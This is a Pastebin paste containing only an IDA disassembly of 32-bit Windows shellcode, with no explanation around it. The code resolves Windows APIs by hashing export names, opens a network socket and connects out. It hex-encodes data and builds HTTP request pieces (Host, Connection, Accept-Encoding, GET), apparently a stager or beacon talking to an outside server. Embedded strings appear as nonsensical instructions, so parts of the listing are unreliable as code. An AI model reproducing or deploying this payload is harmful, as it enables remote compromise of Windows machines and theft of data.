Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- seg000:00000000 pusha
- seg000:00000001 cld
- seg000:00000002 call near ptr 60000091h
- seg000:00000007 mov ebp, esp
- seg000:00000009 xor edx, edx
- seg000:0000000B mov edx, fs:[edx+30h]
- seg000:0000000F mov edx, [edx+0Ch]
- seg000:00000012 mov edx, [edx+14h]
- seg000:00000015
- seg000:00000015 loc_15: ; CODE XREF: seg000:0000008Dj
- seg000:00000015 mov esi, [edx+28h]
- seg000:00000018 movzx ecx, word ptr [edx+26h]
- seg000:0000001C xor edi, edi
- seg000:0000001E
- seg000:0000001E loc_1E: ; CODE XREF: seg000:0000002Cj
- seg000:0000001E xor eax, eax
- seg000:00000020 lodsb
- seg000:00000021 cmp al, 61h ; 'a'
- seg000:00000023 jl short loc_27
- seg000:00000025 sub al, 20h ; ' '
- seg000:00000027
- seg000:00000027 loc_27: ; CODE XREF: seg000:00000023j
- seg000:00000027 ror edi, 0Dh
- seg000:0000002A add edi, eax
- seg000:0000002C loop loc_1E
- seg000:0000002E push edx
- seg000:0000002F push edi
- seg000:00000030 mov edx, [edx+10h]
- seg000:00000033 mov eax, [edx+3Ch]
- seg000:00000036 add eax, edx
- seg000:00000038 mov eax, [eax+78h]
- seg000:0000003B test eax, eax
- seg000:0000003D jz short loc_89
- seg000:0000003F add eax, edx
- seg000:00000041 push eax
- seg000:00000042 mov ecx, [eax+18h]
- seg000:00000045 mov ebx, [eax+20h]
- seg000:00000048 add ebx, edx
- seg000:0000004A
- seg000:0000004A loc_4A: ; CODE XREF: seg000:00000066j
- seg000:0000004A jecxz short loc_88
- seg000:0000004C dec ecx
- seg000:0000004D mov esi, [ebx+ecx*4]
- seg000:00000050 add esi, edx
- seg000:00000052 xor edi, edi
- seg000:00000054
- seg000:00000054 loc_54: ; CODE XREF: seg000:0000005Ej
- seg000:00000054 xor eax, eax
- seg000:00000056 lodsb
- seg000:00000057 ror edi, 0Dh
- seg000:0000005A add edi, eax
- seg000:0000005C cmp al, ah
- seg000:0000005E jnz short loc_54
- seg000:00000060 add edi, [ebp-8]
- seg000:00000063 cmp edi, [ebp+24h]
- seg000:00000066 jnz short loc_4A
- seg000:00000068 pop eax
- seg000:00000069 mov ebx, [eax+24h]
- seg000:0000006C add ebx, edx
- seg000:0000006E mov cx, [ebx+ecx*2]
- seg000:00000072 mov ebx, [eax+1Ch]
- seg000:00000075 add ebx, edx
- seg000:00000077 mov eax, [ebx+ecx*4]
- seg000:0000007A add eax, edx
- seg000:0000007C mov [esp+24h], eax
- seg000:00000080 pop ebx
- seg000:00000081 pop ebx
- seg000:00000082 popa
- seg000:00000083 pop ecx
- seg000:00000084 pop edx
- seg000:00000085 push ecx
- seg000:00000086 jmp eax
- seg000:00000088 ; ---------------------------------------------------------------------------
- seg000:00000088
- seg000:00000088 loc_88: ; CODE XREF: seg000:loc_4Aj
- seg000:00000088 pop eax
- seg000:00000089
- seg000:00000089 loc_89: ; CODE XREF: seg000:0000003Dj
- seg000:00000089 pop edi
- seg000:0000008A pop edx
- seg000:0000008B mov edx, [edx]
- seg000:0000008D jmp short loc_15
- seg000:0000008F ; ---------------------------------------------------------------------------
- seg000:0000008F add eax, 0E9BD815Dh
- seg000:00000094 add al, [eax]
- seg000:00000096 inc edi
- seg000:00000097 inc ebp
- seg000:00000098 push esp
- seg000:00000099 and [ebp+70h], dh
- seg000:0000009C lea eax, [ebp+500002D1h]
- seg000:000000A2 push 726774Ch
- seg000:000000A7 call ebp
- seg000:000000A9 test eax, eax
- seg000:000000AB jz short near ptr loc_105+6
- seg000:000000AD lea eax, [ebp+500002D8h]
- seg000:000000B3 push 726774Ch
- seg000:000000B8 call ebp
- seg000:000000BA test eax, eax
- seg000:000000BC jz short near ptr loc_105+5
- seg000:000000BE mov ebx, 29000190h
- seg000:000000C3 fcom qword ptr [ebx+edx*2+68h]
- seg000:000000C7 sub [eax+1D5FF6Bh], eax
- seg000:000000CD fadd qword ptr [ebp+503675C0h]
- seg000:000000D3 push eax
- seg000:000000D4 push eax
- seg000:000000D5 push eax
- seg000:000000D6 inc eax
- seg000:000000D7 push eax
- seg000:000000D8 inc eax
- seg000:000000D9 push eax
- seg000:000000DA push 0E0DF0FEAh
- seg000:000000DF call ebp
- seg000:000000E1 xor ebx, ebx
- seg000:000000E3 not ebx
- seg000:000000E5 cmp ebx, eax
- seg000:000000E7 jz short near ptr loc_105+3
- seg000:000000E9
- seg000:000000E9 loc_E9: ; CODE XREF: seg000:loc_21Cj
- seg000:000000E9 mov ebx, eax
- seg000:000000EB push 10h
- seg000:000000ED lea esi, [ebp+560002E1h]
- seg000:000000F3 push ebx
- seg000:000000F4 push 6174A599h
- seg000:000000F9 call ebp
- seg000:000000FB test eax, eax
- seg000:000000FD jz short loc_11E
- seg000:000000FF dec byte ptr [ebp-1C8AFF77h]
- seg000:00000105
- seg000:00000105 loc_105: ; CODE XREF: seg000:000000E7j
- seg000:00000105 ; seg000:000000BCj ...
- seg000:00000105 cmp byte ptr [ebp+100024Fh], 74h ; 't'
- seg000:0000010C pop es
- seg000:0000010D call near ptr 0EB00024Dh
- seg000:00000112 add eax, 14DE8h
- seg000:00000117 jmp edi
- seg000:00000119 ; ---------------------------------------------------------------------------
- seg000:00000119 mov eax, 29000100h
- seg000:0000011E
- seg000:0000011E loc_11E: ; CODE XREF: seg000:000000FDj
- seg000:0000011E les ecx, [ecx+525052E2h]
- seg000:00000124 push 1DE49B6h
- seg000:00000129 call ebp
- seg000:0000012B pop edi
- seg000:0000012C add esp, 0C0850001h
- seg000:00000132 jnz near ptr 5700022Ah
- seg000:00000138 call near ptr 5E000236h
- seg000:0000013D mov edx, ecx
- seg000:0000013F lea edi, [ebp-17FFFD17h]
- seg000:00000145 jmp short $+2
- seg000:00000147 add [edi-7Dh], cl
- seg000:0000014A cli
- seg000:0000014B and [ebp+eax-46h], bh
- seg000:0000014F and [eax], al
- seg000:00000151 mov ecx, edx
- seg000:00000153 push esi
- seg000:00000154 rep movsb
- seg000:00000156 mov ecx, 0B58D000Dh
- seg000:0000015B les eax, [edx]
- seg000:0000015D add bl, dh
- seg000:0000015F movsb
- seg000:00000160 mov [ebp+5E00024Bh], edi
- seg000:00000166 push esi
- seg000:00000167 push 803428A9h
- seg000:0000016C call ebp
- seg000:0000016E test eax, eax
- seg000:00000170 jz near ptr 66000220h
- seg000:00000176 mov ecx, [eax+0Ah]
- seg000:00000179 cmp cx, 4
- seg000:0000017D jb near ptr 8D00021Fh
- seg000:00000183 inc eax
- seg000:00000184 or al, 8Bh
- seg000:00000186 mov ecx, [eax]
- seg000:00000188 mov ecx, [ecx]
- seg000:0000018A mov eax, 89500001h
- seg000:0000018F out 29h, eax
- seg000:00000191 les ecx, [ecx+515657E6h]
- seg000:00000197 push ecx
- seg000:00000198 push 0B8D27248h
- seg000:0000019D call ebp
- seg000:0000019F test eax, eax
- seg000:000001A1 add esp, 0F000104h
- seg000:000001A7 mov bh, 0Fh
- seg000:000001A9 cmp ecx, 6
- seg000:000001AC jb short loc_21A
- seg000:000001AE mov ecx, 10B80006h
- seg000:000001AE ; ---------------------------------------------------------------------------
- seg000:000001B3 db 0
- seg000:000001B4 ; ---------------------------------------------------------------------------
- seg000:000001B4 add [ecx], ch
- seg000:000001B6 les ecx, [ecx-2E357619h]
- seg000:000001BC loop near ptr loc_20D+1
- seg000:000001BE push edx
- seg000:000001BF
- seg000:000001BF loc_1BF: ; CODE XREF: seg000:000001E9j
- seg000:000001BF xor edx, edx
- seg000:000001C1 mov dl, [esi]
- seg000:000001C3 mov al, dl
- seg000:000001C5 and al, 0F0h
- seg000:000001C7 shr al, 4
- seg000:000001CA cmp al, 9
- seg000:000001CC ja short loc_1D2
- seg000:000001CE add al, 30h ; '0'
- seg000:000001D0 jmp short loc_1D4
- seg000:000001D2 ; ---------------------------------------------------------------------------
- seg000:000001D2
- seg000:000001D2 loc_1D2: ; CODE XREF: seg000:000001CCj
- seg000:000001D2 add al, 37h ; '7'
- seg000:000001D4
- seg000:000001D4 loc_1D4: ; CODE XREF: seg000:000001D0j
- seg000:000001D4 mov [edi], al
- seg000:000001D6 inc edi
- seg000:000001D7 mov al, dl
- seg000:000001D9 and al, 0Fh
- seg000:000001DB cmp al, 9
- seg000:000001DD ja short loc_1E3
- seg000:000001DF add al, 30h ; '0'
- seg000:000001E1 jmp short loc_1E5
- seg000:000001E3 ; ---------------------------------------------------------------------------
- seg000:000001E3
- seg000:000001E3 loc_1E3: ; CODE XREF: seg000:000001DDj
- seg000:000001E3 add al, 37h ; '7'
- seg000:000001E5
- seg000:000001E5 loc_1E5: ; CODE XREF: seg000:000001E1j
- seg000:000001E5 mov [edi], al
- seg000:000001E7 inc edi
- seg000:000001E8 inc esi
- seg000:000001E9 loop loc_1BF
- seg000:000001EB pop ecx
- seg000:000001EC sub edi, ecx
- seg000:000001EE mov esi, edi
- seg000:000001F0 pop eax
- seg000:000001F1 add esp, eax
- seg000:000001F3 mov edi, [ebp-0CFFFDB5h]
- seg000:000001F9 movsb
- seg000:000001FA mov byte ptr [ebp+100024Fh], 0E8h ; 'F'
- seg000:00000201 add cs:[eax], al
- seg000:00000204 xor eax, eax
- seg000:00000206 push eax
- seg000:00000207 push ecx
- seg000:00000208 sub edi, ecx
- seg000:0000020A dec edi
- seg000:0000020B push edi
- seg000:0000020C push ebx
- seg000:0000020D
- seg000:0000020D loc_20D: ; CODE XREF: seg000:000001BCj
- seg000:0000020D push 5F38EBC2h
- seg000:00000212 call ebp
- seg000:00000214 push ebx
- seg000:00000215 push 614D6E75h
- seg000:0000021A
- seg000:0000021A loc_21A: ; CODE XREF: seg000:000001ACj
- seg000:0000021A call ebp
- seg000:0000021C
- seg000:0000021C loc_21C: ; CODE XREF: seg000:00000235p
- seg000:0000021C jmp loc_E9
- seg000:00000221 ; ---------------------------------------------------------------------------
- seg000:00000221 xor ecx, ecx
- seg000:00000223 not ecx
- seg000:00000225 xor eax, eax
- seg000:00000227 repne scasb
- seg000:00000229 not ecx
- seg000:0000022B dec ecx
- seg000:0000022C retn
- seg000:0000022C ; ---------------------------------------------------------------------------
- seg000:0000022D db 0
- seg000:0000022E db 0
- seg000:0000022F ; ---------------------------------------------------------------------------
- seg000:0000022F add [ebp+2E9BDh], cl
- seg000:00000235 call near ptr loc_21C+2
- seg000:0000023A dec edi
- seg000:0000023B mov ecx, 0B58D004Fh
- seg000:00000240 jnz short loc_244
- seg000:00000242 add bl, dh
- seg000:00000244
- seg000:00000244 loc_244: ; CODE XREF: seg000:00000240j
- seg000:00000244 movsb
- seg000:00000245 lea edi, [ebp-17FFFD17h]
- seg000:0000024B retf
- seg000:0000024B ; ---------------------------------------------------------------------------
- seg000:0000024C db 0FFh
- seg000:0000024D db 0FFh
- seg000:0000024E ; ---------------------------------------------------------------------------
- seg000:0000024E inc ebx
- seg000:00000250 or eax, 6E6F430Ah
- seg000:00000255 outsb
- seg000:00000256 arpl gs:[ecx+ebp*2+6Fh], si
- seg000:0000025B outsb
- seg000:0000025C cmp ah, [eax]
- seg000:0000025E imul esp, [ebp+65h], 70h
- seg000:00000262 sub eax, 76696C61h
- seg000:00000267 db 65h
- seg000:00000267 or eax, 6363410Ah
- seg000:0000026D db 65h
- seg000:0000026D jo short loc_2E4
- seg000:00000270 cmp ah, [eax]
- seg000:00000272 sub ch, [edi]
- seg000:00000274 sub cl, ds:6363410Ah
- seg000:0000027A db 65h
- seg000:0000027A jo short loc_2F1
- seg000:0000027D sub eax, 6F636E45h
- seg000:00000282 imul ebp, fs:[esi+67h], 7A67203Ah
- seg000:0000028A imul esi, [eax+0Dh], 0A0D0Ah
- seg000:00000291 add edi, 0Eh
- seg000:00000294 xor ecx, ecx
- seg000:00000296 not ecx
- seg000:00000298 xor eax, eax
- seg000:0000029A repe scasb
- seg000:0000029C dec edi
- seg000:0000029D jmp edi
- seg000:0000029F ; ---------------------------------------------------------------------------
- seg000:0000029F or eax, 6F6F430Ah
- seg000:000002A4 imul ebp, [ecx+65h], 3Ah
- seg000:000002A8 and [ecx+44h], cl
- seg000:000002AB cmp eax, 5F327377h
- seg000:000002B0 xor esi, [edx]
- seg000:000002B2 add [ecx+50h], cl
- seg000:000002B5 dec eax
- seg000:000002B6 dec esp
- seg000:000002B7 push eax
- seg000:000002B8 inc ecx
- seg000:000002B9 push eax
- seg000:000002BA dec ecx
- seg000:000002BB add al, [eax]
- seg000:000002BD push eax
- seg000:000002BE inc ecx
- seg000:000002BF fmulp st(2), st
- seg000:000002C1 db 36h
- seg000:000002C1 inc edi
- seg000:000002C3 inc ebp
- seg000:000002C4 push esp
- seg000:000002C5 and [edi], ch
- seg000:000002C7 xor dh, [eax]
- seg000:000002C9 xor esp, [esi+31h]
- seg000:000002CC popa
- seg000:000002CD xor [ecx], dh
- seg000:000002CF sub eax, 37636236h
- seg000:000002D4 sub eax, 62386334h
- seg000:000002D9 sub eax, 65623062h
- seg000:000002DE sub eax, 36323732h
- seg000:000002E3 popa
- seg000:000002E4
- seg000:000002E4 loc_2E4: ; CODE XREF: seg000:0000026Dj
- seg000:000002E4 aaa
- seg000:000002E5 popa
- seg000:000002E6 xor esp, [ebx+62h]
- seg000:000002E9 xor fs:[eax], ah
- seg000:000002EC dec eax
- seg000:000002ED push esp
- seg000:000002EE push esp
- seg000:000002EF push eax
- seg000:000002F0 das
- seg000:000002F1
- seg000:000002F1 loc_2F1: ; CODE XREF: seg000:0000027Aj
- seg000:000002F1 xor [esi], ebp
- seg000:000002F3 xor ds:736F480Ah, ecx
- seg000:000002F9 jz short near ptr 335h
- seg000:000002FB and [eax], al
- seg000:000002FB ; ---------------------------------------------------------------------------
- seg000:000002FD db 0
- seg000:000002FE db 0
- seg000:000002FF db 0
- seg000:00000300 db 0
- seg000:00000301 db 0
- seg000:00000302 db 0
- seg000:00000303 ; ---------------------------------------------------------------------------
- seg000:00000303 nop
- seg000:00000303 seg000 ends
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement